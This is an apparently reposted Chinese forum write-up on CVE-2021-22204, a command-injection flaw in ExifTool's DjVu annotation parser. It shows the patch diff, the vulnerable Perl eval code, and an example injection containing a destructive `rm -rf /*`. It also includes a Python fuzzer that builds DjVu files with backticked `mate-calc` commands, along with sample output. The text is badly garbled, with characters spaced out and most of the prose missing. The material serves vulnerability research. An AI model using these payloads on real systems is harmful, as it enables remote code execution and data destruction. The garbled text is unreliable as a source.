[28978] 2021-06-02_CVE-2021-22204-在ExifTool中重新创建严重错误

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2021-06-02_CVE-2021-22204-在ExifTool中重新创建严重错误 C V E - 2 0 2 1 - 2 2 2 0 4 - E x i f T o o l O t s   2 0 2 1 - 0 6 - 0 2 4 2 4 E x i f t o o l   E x i f t o o l     C T F     E x i f   1 2 . 2 4 1 2 . 2 3 1 2 . 2 4 g i t   d i f f l i b / I m a g e / E x i f t o o l / D j V u . p m D j V u P e r l e v a l P a r s e A n t D j V u D j V u P D F E x i f t o o l     D j V u     D j V u     L i n u x   使   D j V u   L i b r e   使 D j V u   E x i f t o o l   H e l l o   W o r l d !     E x i f t o o l   D j V u . p m 使 A p r .   1 3 ,   2 0 2 1   -   V e r s i o n   1 2 . 2 4   [ . . . ]     -   P a t c h e d   s e c u r i t y   v u l n e r a b i l i t y   i n   D j V u   r e a d e r   [ . . . ] - - -   a / l i b / I m a g e / E x i f T o o l / D j V u . p m + + +   b / l i b / I m a g e / E x i f T o o l / D j V u . p m @ @   - 2 2 7 , 1 0   + 2 2 7 , 1 1   @ @   T o k :   f o r   ( ; ; )   {                                   l a s t   u n l e s s   $ t o k   = ~   / ( + ) $ /   a n d   l e n g t h ( $ 1 )   &   0 x 0 1 ;                                   $ t o k   . =   ' " ' ;         #   q u o t e   i s   p a r t   o f   t h e   s t r i n g                           } -                         #   m u s t   p r o t e c t   u n e s c a p e d   " $ "   a n d   " @ "   s y m b o l s ,   a n d   " "   a t   e n d   o f   s t r i n g -                         $ t o k   = ~   s { ( . ) | ( [ $ @ ] | $ ) } { ' ' . ( $ 2   | |   $ 1 ) } s g e ; -                         #   c o n v e r t   C   e s c a p e   s e q u e n c e s   ( a l l o w e d   i n   q u o t e d   t e x t ) -                         $ t o k   =   e v a l   q q { " $ t o k " } ; +                         #   c o n v e r t   C   e s c a p e   s e q u e n c e s ,   a l l o w e d   i n   q u o t e d   t e x t +                         #   ( n o t e :   t h i s   o n l y   c o n v e r t s   a   f e w   o f   t h e m ! ) +                         m y   % e s c   =   (   a   = >   " a " ,   b   = >   " b " ,   f   = >   " f " ,   n   = >   " n " , +                                                 r   = >   " r " ,   t   = >   " t " ,   ' " '   = >   ' " ' ,   ' '   = >   ' '   ) ; +                         $ t o k   = ~   s / ( . ) / $ e s c { $ 1 } | | ' ' . $ 1 / e g s ;                   }   e l s e   {                                 #   k e y   n a m e                           p o s ( $ $ d a t a P t )   =   p o s ( $ $ d a t a P t )   -   1 ;                           #   a l l o w   a n y t h i n g   i n   k e y   b u t   w h i t e s p a c e ,   b r a c e s   a n d   d o u b l e   q u o t e s ( m e t a d a t a     ( n o t e   " H e l l o   W o r l d ! " ) ) d j v u m a k e   t e s t . d j v u   I N F O = 0 , 0   B G j p = / d e v / n u l l   A N T a = a n n o t a t i o n - f i l e . t x t s u b   P r o c e s s A n t ( $ $ $ ) {         #   . . .   <   s n i p   >   . . .         #   q u i c k   p r e - s c a n   t o   c h e c k   f o r   m e t a d a t a   o r   X M P         r e t u r n   1   u n l e s s   $ $ d a t a P t   = ~   / ( s * ( m e t a d a t a | x m p ) [ s ( " ] / s ;         #   p a r s e   a n n o t a t i o n s   i n t o   a   t r e e   s t r u c t u r e
( x m p   ( m e t a d a t a   P a r s e A n t   P a r s e A n t   $ t o k q q e v a l $ t o k e v a l r m   - r f   / * $ t o k e v a l e v a l P e r l 1 .   2 .   3 .   e v a l   P e r l P e r l P y t h o n   f u z z e r   p o p   c a l c   ( x m p   " e v a l   D j V u   使   E x i f t o o l           #   p a r s e   a n n o t a t i o n s   i n t o   a   t r e e   s t r u c t u r e         p o s ( $ $ d a t a P t )   =   0 ;         m y   $ t o k s   =   P a r s e A n t ( $ d a t a P t )   o r   r e t u r n   0 ;         #   . . .   <   s n i p   >   . . . } #   m u s t   p r o t e c t   u n e s c a p e d   " $ "   a n d   " @ "   s y m b o l s ,   a n d   " "   a t   e n d   o f   s t r i n g $ t o k   = ~   s { ( . ) | ( [ $ @ ] | $ ) } { ' ' . ( $ 2   | |   $ 1 ) } s g e ; #   c o n v e r t   C   e s c a p e   s e q u e n c e s   ( a l l o w e d   i n   q u o t e d   t e x t ) $ t o k   =   e v a l   q q { " $ t o k " } ; #   $ t o k   =   ' "   .   ` r m   - r f     / * `   . " ' $ t o k   =   e v a l   q q { " "   .   ` r m   - r f     / * `   .   " " } ; T o k :   f o r   ( ; ; )   {         #   f i n d   t h e   n e x t   t o k e n         l a s t   u n l e s s   $ $ d a t a P t   = ~   / ( S ) / s g ;       #   g e t   n e x t   n o n - s p a c e   c h a r a c t e r         i f   ( $ 1   e q   ' ( ' )   {               #   s t a r t   o f   l i s t                 #   . . .   <   s n i p   >   . . .         }   e l s i f   ( $ 1   e q   ' " ' )   {     #   q u o t e d   s t r i n g                 $ t o k   =   ' ' ;                 f o r   ( ; ; )   {                         #   g e t   s t r i n g   u p   t o   t h e   n e x t   q u o t a t i o n   m a r k                         m y   $ p o s   =   p o s ( $ $ d a t a P t ) ;                         l a s t   T o k   u n l e s s   $ $ d a t a P t   = ~   / " / s g ;                         $ t o k   . =   s u b s t r ( $ $ d a t a P t ,   $ p o s ,   p o s ( $ $ d a t a P t ) - 1 - $ p o s ) ;                         #   w e ' r e   g o o d   u n l e s s   q u o t e   w a s   e s c a p e d   b y   o d d   n u m b e r   o f   b a c k s l a s h e s                         l a s t   u n l e s s   $ t o k   = ~   / ( + ) $ /   a n d   l e n g t h ( $ 1 )   &   0 x 0 1 ;                         $ t o k   . =   ' " ' ;         #   q u o t e   i s   p a r t   o f   t h e   s t r i n g                 }                 #   m u s t   p r o t e c t   u n e s c a p e d   " $ "   a n d   " @ "   s y m b o l s ,   a n d   " "   a t   e n d   o f   s t r i n g                 $ t o k   = ~   s { ( . ) | ( [ $ @ ] | $ ) } { ' ' . ( $ 2   | |   $ 1 ) } s g e ;                 #   c o n v e r t   C   e s c a p e   s e q u e n c e s   ( a l l o w e d   i n   q u o t e d   t e x t )                 $ t o k   =   e v a l   q q { " $ t o k " } ;         }   e l s e   {                 #   . . .   < s n i p >   . . .         }         #   . . .   < s n i p >   . . . } T E M P L A T E   =   r " ( x m p   " { } ` m a t e - c a l c ` { } " d e f   g e t _ d a t a ( ) :         k 1   =   r a n d o m . r a n d i n t ( 0 ,   1 0 )         k 2   =   r a n d o m . r a n d i n t ( 0 ,   1 0 )         #   S p e c i a l   c h a r a c t e r s   t h a t   m a y   h i t   e d g e   c a s e s .         a l p h     =   " " . + * n "         #   P i c k   s o m e   r a n d o m   c h a r a c t e r s   t o   i n s e r t   i n t o   o u r   t e m p l a t e .         b e f o r e   =   ' ' . j o i n ( r a n d o m . c h o i c e s ( a l p h ,   k = k 1 ) )         a f t e r     =   ' ' . j o i n ( r a n d o m . c h o i c e s ( a l p h ,   k = k 2 ) )         r e t u r n   T E M P L A T E . f o r m a t ( b e f o r e ,   a f t e r ) . e n c o d e ( ) d e f   d o _ f u z z _ c a s e ( ) :
2 e v a l s o m e t h i n g   P e r l     s h e l l   n 使   P e r l   1 .     4     2 6     5     1 1   2 .     f u z z e r 线 f u z z s t d o u t           #   C r e a t e   a n   a n n o t a t i o n   f i l e         w i t h   o p e n ( " f u z z - a n n o t a t i o n . t x t " ,   " w b " )   a s   a n t _ f i l e :                 d a t a   =   g e t _ d a t a ( )                 a n t _ f i l e . w r i t e ( d a t a )         #   E m b e d   i t   i n   a   n e w   D j V u   f i l e         p   =   P o p e n ( [ " d j v u m a k e " ,   " f u z z . d j v u " ,   " I N F O = 0 , 0 " ,   " B G j p = / d e v / n u l l " ,                                 " A N T a = f u z z - a n n o t a t i o n . t x t " ] )         t r y :     #   d j v u m a k e   w o u l d   s o m e t i m e s   g e t   s t u c k ,   s o   I   a d d e d   a   s m a l l   t i m e o u t .                 p . c o m m u n i c a t e ( t i m e o u t = 0 . 8 )         e x c e p t :                 r e t u r n   F a l s e         #   P a r s e   t h e   D j V u   f i l e   w i t h   E x i f t o o l         p   =   P o p e n ( [ " . / e x i f t o o l / e x i f t o o l " ,   " f u z z . d j v u " ] ,   s t d o u t = P I P E ,   s t d e r r = P I P E )         s t d o u t ,   s t d e r r   =   p . c o m m u n i c a t e ( )         #   I f   E x i f t o o l   r e t u r n e d   a   w a r n i n g ,   p r i n t   t h e   f u z z   c a s e   t h a t   c a u s e d   i t .         i f   s t d e r r :                 p r i n t ( f " > > > { d a t a } < < < " ,   s t d e r r ) > > > b ' ( x m p   " n " * " " . " ` m a t e - c a l c ` n ' < < <   b ' B a c k s l a s h   f o u n d   w h e r e   o p e r a t o r   e x p e c t e d   a t   ( e v a l   8 )   l i n e   2 ,   n e a r   " " n " " n t ( M i s s i n g   o p e r a t o r   b e f o r e   ? ) n ' > > > b ' ( x m p   " n " + * * n ` m a t e - c a l c ` " " " n ? " . " ' < < <   b ' S t r i n g   f o u n d   w h e r e   o p e r a t o r   e x p e c t e d   a t   ( e v a l   8 )   l i n e   3 ,   a t   e n d   o f   l i n e n t ( M i s s i n g   s e m i c o l o n   o n   p r e v i o u s   l i n e ? ) n ' > > > b ' ( x m p   " + " n " * " " ` m a t e - c a l c ` " + * + " . . ' < < <   b ' A r g u m e n t   " + " n "   i s n ' t   n u m e r i c   i n   m u l t i p l i c a t i o n   ( * )   a t   ( e v a l   8 )   l i n e   1 . n ' ( x m p   " " * " " A r g u m e n t   " n "   i s n ' t   n u m e r i c   i n   m u l t i p l i c a t i o n   ( * )   a t   ( e v a l   8 )   l i n e   1 . ( x m p   " "   .   ` m a t e - c a l c `   .   " "

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则